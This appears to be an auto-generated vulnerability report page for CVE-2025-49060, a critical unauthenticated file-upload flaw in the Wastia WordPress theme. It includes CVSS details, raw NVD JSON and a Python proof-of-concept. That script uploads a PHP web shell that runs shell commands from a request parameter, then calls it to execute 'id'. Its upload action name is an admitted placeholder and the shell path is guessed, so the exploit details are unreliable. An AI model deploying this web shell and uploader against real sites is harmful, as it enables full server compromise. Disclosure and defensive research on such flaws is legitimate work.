Security Vulnerability Report
中文
CVE-2025-49060 CVSS 10.0 CRITICAL

CVE-2025-49060

Published: 2025-10-22 15:15:35
Last Modified: 2026-04-15 00:35:42

Description

Unrestricted Upload of File with Dangerous Type vulnerability in CMSSuperHeroes Wastia wastia allows Upload a Web Shell to a Web Server.This issue affects Wastia: from n/a through < 1.1.3.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CMSSuperHeroes Wastia < 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49060 PoC - Wastia Theme Arbitrary File Upload # Exploit: Upload a PHP Web Shell via the theme's file upload functionality # Affected: CMSSuperHeroes Wastia < 1.1.3 import requests TARGET_URL = "http://target-wordpress-site.com" # The upload endpoint used by the Wastia theme (adjust path as needed) UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Create a malicious PHP web shell file webshell_content = b"""<?php if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" # Step 2: Prepare the multipart form-data upload files = { "file": ("shell.php", webshell_content, "application/x-php") } # Step 3: Send the upload request (action parameter depends on theme implementation) data = { "action": "wastia_upload_action" # placeholder action name } response = requests.post(UPLOAD_ENDPOINT, files=files, data=data) print(f"Upload response: {response.status_code}") print(response.text) # Step 4: Access the uploaded web shell to execute commands # The uploaded shell is typically placed under wp-content/uploads/ shell_url = f"{TARGET_URL}/wp-content/uploads/shell.php" cmd_response = requests.get(f"{shell_url}?cmd=id") print(f"Command execution result: {cmd_response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49060", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:35.160", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in CMSSuperHeroes Wastia wastia allows Upload a Web Shell to a Web Server.This issue affects Wastia: from n/a through < 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/wastia/vulnerability/wordpress-wastia-theme-1-1-3-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}